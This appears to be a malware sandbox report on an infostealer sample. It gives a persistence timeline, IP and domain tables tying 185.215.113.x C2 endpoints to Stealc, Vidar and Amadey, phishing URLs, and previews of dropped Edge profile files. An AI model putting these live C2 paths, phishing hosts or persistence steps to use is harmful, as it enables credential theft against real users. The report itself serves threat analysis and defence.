01:28:57	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
01:30:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_E81D8DD3EACFA71E827377A4597DF902 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
01:30:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_E81D8DD3EACFA71E827377A4597DF902 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
19:30:00	API Interceptor	906x Sleep call for process: explorti.exe modified
19:30:08	API Interceptor	28x Sleep call for process: a759b4c7d8.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.100	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
185.215.113.19	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	185.215.113.19/CoreOPT/index.php
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.19/CoreOPT/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.17156.10149.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.11211.15058.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.15994.16518.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.17122.16457.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.4650.358.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.20423.9863.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.8387.16538.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Trojan.Win64.Krypt.13435.32435.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
s-part-0032.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://multicoinsystemnode.firebaseapp.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	Order enquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://juno-100505.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.73
	http://telstra-105864.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	http://att-108937.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://telstra-100127.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://telstra-104325.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	http://bt-107258.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.28.10
	http://juno-102941.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	https://uppholldlgins.mystrikingly.com/	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	http://juno-100505.weeblysite.com/	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	https://danadompetdigital.zesty.my.id/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	http://www.chacararecantodosol.com.br/wp-admin/js/milissa/swisssa2024/swisscom/index2.php	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	http://www.uyapdosyasorgula.com/e-devlet/	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	http://telstra-105864.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	http://scratch-netflix.ng-2ff.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3335
Entropy (8bit):	5.609291312738077
Encrypted:	false
SSDEEP:	96:0q8NkC1fNXL+PSjB00vdHdnJkCcxSDS4S4SDSHQeI4a:/8NbfXL++VdJkCML
MD5:	B02974E60A02EFCC33A640365DEAFF83
SHA1:	BFBA589A8C8821C34B06614D9798CACB8E7FEDB9
SHA-256:	F93EF248EDB675B5640C1AA570F40FDBE9A416BDB2DDA67D6D85A429310B49C5
SHA-512:	A42FB614B96792A40F6D5FE666D1FD27FFAE34DF8D130C075385D1BB1550E6CFB6DBCDCE8990911E32EF768A3085D2084CB63856BE61B22D9FC2ED61E7F23DAC
Malicious:	false
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"policy":{"last_statist

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\328aa511-2a90-4f9d-be11-f224f98e878e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20787
Entropy (8bit):	6.065383843512893
Encrypted:	false
SSDEEP:	384:RtMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSqwlLaCMK+Mh0lkdHd5qe:LMGQ7FCYXGIgtDAWtJ4n5LaCMyh02tdN
MD5:	FA426D7030E401891ED661048D365BA9
SHA1:	9319F59D4ED9E77357E6B6AFEA62509D42B1A3E7
SHA-256:	5F008C42AC69EE3E5690C000025AEA3739D0C891DC46045B5E403E987E656532
SHA-512:	8B7D25E8E8B8DEA71B75E01D189C0C738CC100F029492939FFE378387356E54C09A25E592B4EC614C7DFEB12632142CC2DFF96F5DA6D4E68E67B14AA1FDAA833
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3fKpCZl+2D91MLf04NPNNUni9BZmDP4Sfjk2Ig7ktgg8r8InfhHz//zSP7e8bquWlsDJ411jYlhlRsBQRm+LIWvOaiW4hdcyEra5fCtzINfylY7VRB4y

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\72cf7953-3354-4cf1-a7c9-836eb893f86e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.529282045978505
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtH1hbyr6VGy+51IpyikiHJdXBuBuwBbabjNhuiXiYJQQRCYfYg:YuBqDPafNXFp+51elgBzBbwuiCB0
MD5:	1CB87A6046B2707FF50C5ECCA489442A
SHA1:	489C823AC81346E60FAFDD1358DB6B29E4D74EDE
SHA-256:	B7C5552B0AF056C3D9EA72196144960A73249C167DEA8CC6678BC30CBAC16D82
SHA-512:	5F0AD7F238984D8F9085848795CAA48E087EEFF84AC269C034603A7A948280ABD7F00D53009C582668313FB6F098093387E33168A7A4C3BEE0CA94FA98E8E147
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"profile":{"info_cache":{},"profile_counts_reported":"13369620611838534","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725147011"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\8449da15-6ece-44ec-8017-af69b2e4205b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2958
Entropy (8bit):	5.579987621270456
Encrypted:	false
SSDEEP:	48:YuBqDPEFMsFiHC0afNXFp+51PlkHB+rdrxUlvBbrcRcwaJkXSc+wlRTX3jYB0:Xq8NkC1fNXL+PEB00vdscpJkCczIq
MD5:	6090089FE162199F0F7EAD669983A766
SHA1:	2D244F4AAA1845B4D4DC4F9B17740EFF5F08F92B
SHA-256:	E94097454AEA6BD7F717536F7BF7F9BC371D7BB48A1864516112FE08C4ADAE9E
SHA-512:	4851635D643C71AC21BDC00F63B218C544C1A6DE00373321757F473DF70109D7248926B3B63F3B234A24862DFE980431B0B8F2DC8F5863C124350777F1E75B13
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"policy":{"last_statistics_update":"13369620611866203"},"profile":{"info_ca

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Ad Blocking\270ed276-90d5-43f6-ba2a-1cb9438db36f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640136267101608
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Q:fwUQC5VwBIiElEd2K57P7Q
MD5:	46EC1899F11FE2F524F4A0ED857B2BF7
SHA1:	830620AD3E3FAC7FE25BD86C291A17AFA245B2CA
SHA-256:	07965BB5BA96950A38D1B7E50D9564F84D383F21D6FB17B6A411925728AF5146
SHA-512:	5496B3873B3C5FA3560593D4E3E9F43F6BFA288C5FC3B879D14269A51938D5DDAD950326D86D8DB606A34F7B235E615237136DB19539A1740CAD9B527BEBAEB2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640136267101608
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Q:fwUQC5VwBIiElEd2K57P7Q
MD5:	46EC1899F11FE2F524F4A0ED857B2BF7
SHA1:	830620AD3E3FAC7FE25BD86C291A17AFA245B2CA
SHA-256:	07965BB5BA96950A38D1B7E50D9564F84D383F21D6FB17B6A411925728AF5146
SHA-512:	5496B3873B3C5FA3560593D4E3E9F43F6BFA288C5FC3B879D14269A51938D5DDAD950326D86D8DB606A34F7B235E615237136DB19539A1740CAD9B527BEBAEB2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics\BrowserMetrics-66D3A783-EBC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04017976529776576
Encrypted:	false
SSDEEP:	192:D2UjLYiVWK+ggCNloJZzK1d9XPY1Pg+znhC3sfNEihxRQ8NybKn8y08Tcm2RGOdB:6UjjlEch8hbTv8bK08T2RGOD
MD5:	5FD429F2397F72FFD6ECF1E9123A24F3
SHA1:	7B8AEAB1ABBDB3B3DD2026C43043445ADE21B0F7
SHA-256:	875A4D1429A031EA72B85F9ECA1FE39734B382DA1F24EC672D70EFFFA166F1A3
SHA-512:	322C5337BF11F51A1F9339EF2ED6FB2B6239BB31C0846851B97B2BCCFB62F044E180FBD1CECAA59AC4ADA23C26BA271AF2E729679B1E282656A21F23591BFAA4
Malicious:	false
Preview:	...@..@...@.....C.].....@................`..8P..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".tmxtxn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@.............#.....................$}.CG....L.T.w..Ucw.}....u.$r....9...>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....&1...R@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z.......................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics\BrowserMetrics-66D3A784-1914.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.3477403581366704
Encrypted:	false
SSDEEP:	3072:/YHkKl6d4d6unZJepavhCfaBwg1HF+nsnwS1XuEdR/xgVztkSb+oDYULig8JFPIQ:yn+iofaGaHom05L+eYU/FaH
MD5:	253CD58B1D3A807BA750E558672D287A
SHA1:	24537AF4BCB379113D2E891681E5BA1E673EA5A2
SHA-256:	865BAD9992D2CA3ECBFD6C1EEE13959FA2A1BAE14CB90E35F7A96BB1AE15C648
SHA-512:	319E6357A689E453884C2C876E452C10DC66EC5850BD57689A406A4058BA320824F9E4D411E383F3B031DC079776A9529A0EC5F9AF9C4D335792BA139AF13609
Malicious:	false
Preview:	...@..@...@.....C.].....@................m..Pm..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".tmxtxn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@.............#.....................(}.CG....L.T.w..Ucw.}?:K.....u.$r....9...>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....&1...R@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDep

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.183228543326823
Encrypted:	false
SSDEEP:	3:FiWWltlE8rlroOxszXHSRqOFhJXI2EyBl+BVP/Sh/JzvA85GsQUt0UVa8kl:o1E6lroOqbyRqsx+BVsJDANsQKVaf
MD5:	E23AB7B29E10438BD0205D7C2EAF33C7
SHA1:	160074B642F4AA97FAB2363F88761843A0AF64EE
SHA-256:	2056ED793E7F38FDAF49A72A0FBB3C371181C91D4D508227E0CA01F340EA5CA0
SHA-512:	7C70D50FF6F0C748376D666589C565B07E0E9944271E689E528658C710C955DB1FD81B308FA98BAC9F16CF0550A2EF30A1F1D2217B5F16B917120A71C4A601F4
Malicious:	false
Preview:	sdPC....................4.....]M.....v."1SCRpGKHAwpF5kOwXUUSc/ojBrTkNG2SgkvqW1WE7kI="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................928ec389-cc5b-4691-bc97-10fc6a388d09............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\throttle_store.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6219280948873624
Encrypted:	false
SSDEEP:	3:8g6Vvn:8g6Vv
MD5:	9E4E94633B73F4A7680240A0FFD6CD2C
SHA1:	E68E02453CE22736169A56FDB59043D33668368F
SHA-256:	41C91A9C93D76295746A149DCE7EBB3B9EE2CB551D84365FFF108E59A61CC304
SHA-512:	193011A756B2368956C71A9A3AE8BC9537D99F52218F124B2E64545EEB5227861D372639052B74D0DD956CB33CA72A9107E069F1EF332B9645044849D14AF337
Malicious:	false
Preview:	level=none expiry=0.

